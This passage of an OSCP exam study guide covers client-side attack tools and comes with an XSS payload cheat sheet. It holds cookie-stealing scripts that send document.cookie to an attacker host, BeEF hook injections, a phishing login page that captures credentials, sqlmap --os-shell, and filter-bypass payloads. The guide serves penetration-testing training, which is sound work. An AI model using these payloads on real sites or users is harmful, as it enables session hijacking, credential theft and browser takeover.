# Example 8: Rate limited scan
dalfox url "http://10.10.10.100/search?q=test" -rate 5

# Example 9: Silent mode (only vulns)
dalfox url "http://10.10.10.100/search?q=test" --silent

# Example 10: Full scan with all options
dalfox url "http://10.10.10.100/search?q=test" \
  --dom \
  --frequency \
  -proxy "http://127.0.0.1:8080" \
  -oJ /tmp/dalfox_results.json \
  -v

5. BeEF Deep Dive

5.1 What is BeEF?

BeEF (The Browser Exploitation Framework) is a penetration testing tool that focuses on the web browser. It allows you to hook a victim’s browser via JavaScript and then execute various modules to exploit the browser, gather information, and perform attacks.

Key Concepts:

  • Hook: JavaScript code injected into the victim’s browser
  • Socket: Connected hooked browser
  • Module: Individual exploit or attack capability
  • Social Engineering: Phishing, credential harvesting, etc.
  • Browser Exploitation: Client-side exploits, XSS chaining

5.2 Installation and Setup

# Method 1: Git clone (recommended)
git clone https://github.com/beefproject/beef.git /opt/beef
cd /opt/beef

# Install dependencies
bundle install

# Method 2: Kali Linux (pre-installed)
# Already available, just start the service

# Start BeEF
./beef

# Or as a service (Kali)
service beef-xss start

# Default credentials:
# Username: beef
# Password: beef

# Web UI: http://127.0.0.1:3000/hooked
# Hook URL: http://<ATTACKER_IP>:3000/hook.js

Configuration:

# /opt/beef/config.yaml

beef:
  username: beef
  password: beef  # Change this!
  
  server:
    bind: 0.0.0.0
    port: 3000
    
  # Hook options
  hook:
    session_cookie: beef
    upload_url: http://<ATTACKER_IP>:3000/upload
    
  # Social engineering
  social_engineering:
    domain: <ATTACKER_IP>

5.3 Complete Usage Workflow

┌─────────────────────────────────────────────────────────────┐
│                  BeEF WORKFLOW                               │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. SETUP                                                    │
│     └─ Start BeEF server                                    │
│     └─ Note the hook URL: http://ATTACKER:3000/hook.js     │
│     └─ Access BeEF UI: http://ATTACKER:3000/hooked         │
│                                                             │
│  2. HOOK INJECTION                                           │
│     └─ Inject hook.js via XSS vulnerability                 │
│     └─ Or via phishing page                                 │
│     └─ Or via malicious advertisement                       │
│                                                             │
│  3. SOCKET CONNECTION                                        │
│     └─ Victim visits hooked page                            │
│     └─ Browser loads hook.js                                │
│     └─ Socket appears in BeEF UI                            │
│                                                             │
│  4. RECONNAISSANCE                                           │
│     └─ Gather browser information                           │
│     └─ Check installed plugins                              │
│     └─ Detect browser vulnerabilities                       │
│                                                             │
│  5. MODULE EXECUTION                                         │
│     └─ Select appropriate modules                           │
│     └─ Execute against the socket                           │
│     └─ Monitor results                                      │
│                                                             │
│  6. EXPLOITATION                                             │
│     └─ Run browser exploits                                 │
│     └─ Harvest credentials                                  │
│     └─ Perform network attacks from browser                 │
│     └─ Pivot to internal network                            │
│                                                             │
└─────────────────────────────────────────────────────────────┘

5.4 Hook Payload Injection Methods

Method 1: Via XSS Vulnerability

<!-- Found XSS on target.com/search?q= -->
<!-- Inject BeEF hook: -->

<script src="http://10.10.14.3:3000/hook.js"></script>

<!-- Full URL to send to victim: -->
http://target.com/search?q=<script src="http://10.10.14.3:3000/hook.js"></script>

Method 2: Via Stored XSS

<!-- If you control content (forum post, profile, etc.): -->
<script src="http://10.10.14.3:3000/hook.js"></script>

<!-- Or more discrete: -->
<iframe src="http://10.10.14.3:3000/hook.js"></iframe>

Method 3: Via Phishing Page

<!-- Create a phishing page that includes the hook: -->
<!DOCTYPE html>
<html>
<head>
    <title>Login</title>
</head>
<body>
    <h1>Please Login</h1>
    <form action="http://10.10.14.3/capture.php">
        <input type="text" name="username" placeholder="Username">
        <input type="password" name="password" placeholder="Password">
        <button type="submit">Login</button>
    </form>
    
    <!-- BeEF Hook -->
    <script src="http://10.10.14.3:3000/hook.js"></script>
</body>
</html>

Method 4: Via DNS Rebinding

# Configure BeEF for DNS rebinding attacks
# Useful when direct hook injection is not possible

5.5 Module Categories

BeEF organizes modules into categories:

5.5.1 Browser Information Modules

Module Description
browser_info Gather browser version, OS, screen resolution
get_webcam Access victim’s webcam
get_microphone Access victim’s microphone
get_geolocation Get GPS location
get_clipboard Read clipboard contents
get_history Extract browser history
get_cookies Extract all cookies
get_local_storage Read local storage data
get_session_storage Read session storage data

5.5.2 Social Engineering Modules

Module Description
fake_dom_xss Simulate DOM XSS for testing
credential_harvesting Fake login pages
fake_page Display fake pages
alert_box Display alert dialogs
prompt_box Display prompt dialogs
confirm_box Display confirm dialogs
tab_nabbing Replace tab content
reverse_tab_nabbing Reverse tab nabbing attack

5.5.3 Network Attack Modules

Module Description
network_scanner Scan local network from browser
port_scanner Port scan from browser context
arp_scanner ARP scan from browser
dns_rebinding DNS rebinding attacks
cors_exploitation CORS misconfiguration exploitation

5.5.4 Exploitation Modules

Module Description
java_applet_exploits Java applet vulnerabilities
flash_exploits Adobe Flash vulnerabilities
pdf_exploits PDF reader vulnerabilities
silverlight_exploits Silverlight vulnerabilities
browser_exploits Browser-specific exploits

5.5.5 Session Hijacking Modules

Module Description
cookie_stealer Steal session cookies
session_hijack Hijack active sessions
csrf_token_grab Extract CSRF tokens
token_replay Replay captured tokens

5.6 BeEF Command Reference

# Start BeEF
beef

# Check status
service beef-xss status

# Restart
service beef-xss restart

# View logs
tail -f /var/lib/beef/log/beef.log

BeEF UI Navigation:

http://127.0.0.1:3000/hooked

Main Sections:
├── Socket List          → Connected browsers
├── Modules              → Available attack modules
├── Social Engineering   → Phishing tools
├── Extensions           → Additional functionality
└── Configuration        → Settings

5.7 OSCP-Specific BeEF Tips

Tip Description
Hook via XSS BeEF requires an XSS vulnerability to hook the browser
Change default creds Always change beef/beef credentials
Bind to correct IP Use your attacker IP, not 127.0.0.1
Firewall rules Ensure port 3000 is accessible from the target
Module selection Not all modules work on all browsers
Browser detection Check socket info before running modules for compatibility
Cookie stealing Most valuable for OSCP — steal session cookies
Internal scanning Use browser to scan internal network
Documentation Note all findings for your report
Ethical use Only use on authorized targets

Common OSCP BeEF Workflow:

# 1. Start BeEF
beef

# 2. Find XSS on target
# Use Burp/XSStrike to find XSS

# 3. Inject hook
# <script src="http://10.10.14.3:3000/hook.js"></script>

# 4. Wait for socket connection
# Check BeEF UI for connected socket

# 5. Run reconnaissance modules
# browser_info, get_cookies, get_webcam

# 6. Exploit based on findings
# If session cookie found → import to browser
# If internal network visible → scan for services

6. Additional Tools

6.1 curl — Manual HTTP Testing

# Basic GET request
curl http://target.com/search?q=test

# Follow redirects
curl -L http://target.com/redirect

# View response headers
curl -I http://target.com

# Custom headers
curl -H "X-Custom-Header: value" http://target.com

# POST request
curl -X POST -d "q=test&name=user" http://target.com/search

# POST with JSON
curl -X POST -H "Content-Type: application/json" \
  -d '{"query":"test"}' http://target.com/api

# Save response
curl -o response.html http://target.com

# Save response headers
curl -D headers.txt http://target.com

# Cookie handling
curl -b "session=abc123" http://target.com/profile
curl -c cookies.txt http://target.com/login

# Verbose output
curl -v http://target.com

# XSS testing with curl
curl -s "http://target.com/search?q=<script>alert(1)</script>" | grep -i "alert"

# Test multiple URLs
for url in $(cat urls.txt); do
  echo "Testing: $url"
  curl -s "$url" | grep -i "<script>"
done

6.2 Nmap — Port and Service Scanning

# Basic scan
nmap 10.10.10.100

# Scan common ports
nmap -sC -sV 10.10.10.100

# Scan all ports
nmap -p- 10.10.10.100

# Web service detection
nmap -p 80,443,8080,8443 --script http-enum 10.10.10.100

# XSS-related NSE scripts
nmap --script http-xssed 10.10.10.100
nmap --script http-stored-xss 10.10.10.100

# Full web scan
nmap -p 80,443 --script "http-*" --script-args "safe=1" 10.10.10.100

# OS detection
nmap -O 10.10.10.100

# Timing template (fast)
nmap -T4 10.10.10.100

6.3 Gobuster — Directory and File Fuzzing

# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# With thread count
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -t 50

# With extensions
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,backup

# With status codes
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -s "200,204,301,302,307,403"

# DNS brute forcing
gobuster dns -d target.com -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-5000.txt

# VHost brute forcing
gobuster vhost -u http://target.com -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-5000.txt

6.4 FFUF — Fast Fuzzer

# Basic directory fuzzing
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt

# With extensions
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.html,.txt

# Parameter fuzzing
ffuf -u "http://target.com/search?q=FUZZ" -w /usr/share/seclists/Fuzzing/xss-fuzz.txt

# Header fuzzing
ffuf -u http://target.com -H "X-Forwarded-For: FUZZ" -w /usr/share/wordlists/seclists/Fuzzing/special-chars.txt

# POST body fuzzing
ffuf -u http://target.com/login -X POST -d "user=FUZZ&pass=test" -w /usr/share/wordlists/seclists/Usernames/top-usernames.txt

# Recursion
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -recursion

# Filter by size
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -fs 1234

# Filter by word count
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404

6.5 SQLmap — SQL Injection Automation

# Basic usage
sqlmap -u "http://target.com/page?id=1"

# Test specific parameter
sqlmap -u "http://target.com/page?id=1" -p id

# Use Burp request file
sqlmap -r request.txt

# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs

# Enumerate tables
sqlmap -u "http://target.com/page?id=1" -D database_name --tables

# Dump data
sqlmap -u "http://target.com/page?id=1" -D database_name -T users --dump

# Get shell
sqlmap -u "http://target.com/page?id=1" --os-shell

# Use proxy
sqlmap -u "http://target.com/page?id=1" --proxy="http://127.0.0.1:8080"

# Risk and level
sqlmap -u "http://target.com/page?id=1" --level=5 --risk=3

6.6 Nikto — Web Server Scanner

# Basic scan
nikto -h http://target.com

# With port
nikto -h http://target.com -p 8080

# With proxy
nikto -h http://target.com -proxy 127.0.0.1:8080

# Save output
nikto -h http://target.com -o nikto_report.txt -Format txt

# SSL scan
nikto -h https://target.com

# Tune options (exclude certain tests)
nikto -h http://target.com -Tune 12345

6.7 WhatWeb — Technology Detection

# Basic scan
whatweb http://target.com

# Verbose output
whatweb -v http://target.com

# Log output
whatweb http://target.com -o xml,whatweb.xml

# Multiple URLs
whatweb http://target1.com http://target2.com

# With proxy
whatweb http://target.com -p proxy:127.0.0.1:8080

# URL list
whatweb -i urls.txt

7. Tool Selection Guide

7.1 Scenario-Based Tool Selection

Scenario Primary Tool Secondary Tool Reasoning
Manual XSS on single param Burp Repeater — Full control, iterative testing
XSS across many params XSStrike Dalfox Automated, fast coverage
DOM XSS hunting Dalfox Burp DOM Inspector Purpose-built detection
WAF-protected XSS XSStrike Burp Repeater AST-based WAF bypass
Post-XSS exploitation BeEF — Browser exploitation framework
Initial web recon whatweb + nikto Nmap Quick tech stack overview
Hidden resource discovery gobuster / ffuf — Fast directory fuzzing
Parameter fuzzing ffuf Burp Intruder Flexible, fast
SQL injection sqlmap Burp Repeater Automated SQLi exploitation
Cookie/session testing Burp Repeater curl Manual manipulation
API testing Burp Suite curl Full request control
Blind XSS Burp Collaborator XSStrike OOB detection
Batch URL testing Dalfox — Fast, file-based input
OSCP exam (general) Burp Suite XSStrike Manual + automated combo

7.2 Combining Tools for Maximum Effectiveness

Workflow 1: Complete Web Application Assessment

# Phase 1: Reconnaissance
whatweb http://target.com
nikto -h http://target.com
nmap -sC -sV -p 80,443,8080,8443 target.com

# Phase 2: Content Discovery
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -t 50
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/big.txt

# Phase 3: Parameter Discovery
# Browse with Burp proxy enabled
# Review Proxy History for all parameters

# Phase 4: XSS Testing (Automated)
xsstrike -u "http://target.com/search?q=test"
dalfox url "http://target.com/search?q=test" --dom

# Phase 5: XSS Testing (Manual)
# Use Burp Repeater for confirmed parameters
# Iterate payloads based on context

# Phase 6: Exploitation
# If XSS found → Inject BeEF hook
# <script src="http://ATTACKER:3000/hook.js"></script>

# Phase 7: Post-Exploitation
# Use BeEF modules for browser exploitation
# Steal cookies, scan internal network, etc.

Workflow 2: OSCP Exam Client-Side Attack Flow

# Step 1: Initial Recon
nmap -sC -sV -p- 10.10.10.100
whatweb http://10.10.10.100

# Step 2: Content Discovery
gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirb/common.txt

# Step 3: Manual Testing with Burp
# - Browse with Burp proxy
# - Identify all input points
# - Test each parameter in Repeater
# - Start with simple markers: <TESTING123>
# - Progress to XSS payloads

# Step 4: Automated XSS Testing
# For parameters that reflect but filter:
xsstrike -u "http://10.10.10.100/vulnerable?param=test"

# Step 5: Exploitation
# - Craft cookie-stealing payload
# - Set up listener on attacker machine
# - Deliver payload to victim
# - Capture and use stolen session

# Step 6: Documentation
# - Record all findings
# - Note exploitation steps
# - Prepare for report

7.3 OSCP Exam Tool Recommendations

Essential Tools (Must Know):

  1. Burp Suite Community — Primary tool for all web testing
  2. XSStrike — Automated XSS discovery
  3. curl — Quick HTTP testing
  4. Firefox + FoxyProxy — Browser for proxy testing

Useful Tools (Good to Know): 5. Dalfox — Alternative XSS scanner 6. gobuster / ffuf — Directory and parameter fuzzing 7. Nmap — Port and service scanning 8. sqlmap — SQL injection (if applicable)

Optional Tools (Nice to Have): 9. BeEF — Post-XSS exploitation 10. OWASP ZAP — Free scanner alternative 11. nikto — Server vulnerability scanning 12. whatweb — Technology detection

OSCP Exam Strategy:

Priority 1: Master Burp Suite (Repeater + Intruder)
Priority 2: Learn XSStrike for automation
Priority 3: Know curl for quick tests
Priority 4: Familiarize with BeEF for post-exploitation

Time Allocation:
- 70% manual testing with Burp
- 20% automated testing with XSStrike/Dalfox
- 10% reconnaissance and documentation

8. OSCP Exam Quick Reference

8.1 XSS Payload Cheat Sheet

<!-- Basic XSS -->
<script>alert(1)</script>

<!-- Image tag -->
<img src=x onerror=alert(1)>

<!-- SVG -->
<svg/onload=alert(1)>

<!-- Body -->
<body onload=alert(1)>

<!-- Input autofocus -->
<input onfocus=alert(1) autofocus>

<!-- Details toggle -->
<details ontoggle=alert(1) open>

<!-- Marquee -->
<marquee onstart=alert(1)>

<!-- Video -->
<video><source onerror=alert(1)>

<!-- Iframe -->
<iframe src=javascript:alert(1)>

<!-- Math -->
<math><brute href="javascript:alert(1)">click

<!-- Meter -->
<meter onmouseover=alert(1)>

<!-- Encoding bypass -->
<script>alert(String.fromCharCode(49))</script>

<!-- Function construction -->
<script>new Function("aler"+"t")(1)</script>

<!-- Eval -->
<script>eval('ale'+'rt(1)')</script>

<!-- SetTimeout -->
<script>setTimeout('ale'+'rt(1)')</script>

<!-- Cookie stealer -->
<script>document.location='http://ATTACKER/?c='+document.cookie</script>

<!-- Image-based exfil -->
<script>new Image().src='http://ATTACKER/?c='+document.cookie</script>

<!-- Fetch-based exfil -->
<script>fetch('http://ATTACKER/?c='+document.cookie)</script>

<!-- BeEF hook -->
<script src="http://ATTACKER:3000/hook.js"></script>

8.2 Context-Specific Payloads

<!-- HTML Body Context -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>

<!-- HTML Attribute Context (double quoted)">
"><script>alert(1)</script>
" onfocus="alert(1)" autofocus="

<!-- HTML Attribute Context (single quoted)'>
'><script>alert(1)</script>
' onfocus='alert(1)' autofocus='

<!-- JavaScript Context (double quoted) -->
";alert(1);//
";alert(1);/*

<!-- JavaScript Context (single quoted) -->
';alert(1);//
';alert(1);/*

<!-- JavaScript Context (no quotes) -->
alert(1)
1;alert(1)//

<!-- URL Context -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>

<!-- CSS Context -->
<style>@import 'http://ATTACKER/evil.css';</style>

8.3 Quick Command Reference

# Burp Suite
burpsuite

# XSStrike
python3 /opt/XSStrike/xsstrike.py -u "http://target.com/search?q=test"
python3 /opt/XSStrike/xsstrike.py -r request.txt

# Dalfox
dalfox url "http://target.com/search?q=test"
dalfox url "http://target.com/search?q=test" --dom

# BeEF
beef
# UI: http://127.0.0.1:3000/hooked
# Hook: http://ATTACKER_IP:3000/hook.js

# curl
curl -s "http://target.com/search?q=<script>alert(1)</script>"

# gobuster
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# ffuf
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt

# nmap
nmap -sC -sV -p 80,443,8080 target.com

# sqlmap
sqlmap -u "http://target.com/page?id=1"

# nikto
nikto -h http://target.com

# whatweb
whatweb http://target.com

8.4 Common OSCP Client-Side Attack Paths

Path 1: Reflected XSS → Cookie Theft → Session Hijack
  1. Find reflected parameter
  2. Confirm XSS with alert(1)
  3. Craft cookie-stealing payload
  4. Set up HTTP listener
  5. Deliver payload (email, stored XSS, etc.)
  6. Capture cookie
  7. Import cookie to browser
  8. Access victim's session

Path 2: Stored XSS → BeEF Hook → Browser Exploitation
  1. Find stored XSS (forum, profile, comments)
  2. Inject BeEF hook payload
  3. Wait for admin/user to visit
  4. Socket connects to BeEF
  5. Run reconnaissance modules
  6. Exploit browser vulnerabilities
  7. Harvest credentials or pivot

Path 3: DOM XSS → Direct Exploitation
  1. Analyze JavaScript for DOM sinks
  2. Find unsanitized user input
  3. Craft URL-based payload
  4. Deliver malicious URL
  5. Execute in victim's browser

Path 4: Open Redirect → Phishing → Credential Theft
  1. Find open redirect parameter
  2. Craft phishing URL
  3. Create fake login page
  4. Deliver to victim
  5. Capture credentials

8.5 Troubleshooting Checklist

Problem Solution
Burp not intercepting Check proxy settings, ensure listener is running
HTTPS not working Install Burp CA certificate in browser
XSStrike not finding XSS Try manual testing in Burp Repeater
Dalfox timeout Increase timeout: -timeout 30
BeEF not connecting Check firewall, ensure correct IP in hook URL
WAF blocking payloads Use XSStrike’s WAF bypass, try encoding
Payload filtered Try alternative tags (svg, img, video, etc.)
Case-sensitive filter Use mixed case: <ScRiPt>
Length restriction Use shorter payloads: <svg/onload=alert(1)>
Event handler blocked Try different events: onerror, onload, onfocus
Cookie not received Check listener, verify payload delivery
Session expired Re-authenticate, check cookie validity

Summary

This comprehensive tools overview covers the essential and supplementary tools for client-side attacks in the OSCP exam. The key takeaways:

  1. Burp Suite is your primary weapon — Master Repeater and Intruder for manual XSS testing
  2. XSStrike complements manual testing — Use for automated sweeps and WAF bypass
  3. Dalfox offers speed and DOM detection — Great for batch processing and DOM XSS
  4. BeEF extends XSS into exploitation — Post-exploitation browser control
  5. Supporting tools fill the gaps — curl, nmap, gobuster, ffuf for recon and fuzzing
  6. Manual testing wins on OSCP — Automation helps, but manual skills are essential
  7. Document everything — Your report is as important as the exploitation

Final OSCP Advice: Practice the complete workflow — from reconnaissance to exploitation to documentation. The exam rewards methodical, thorough testing over quick automated scans. Know your tools, but trust your manual testing skills.


Last Updated: 2026-09-01 | OSCP Client-Side Attacks — Topic 20: Tools Overview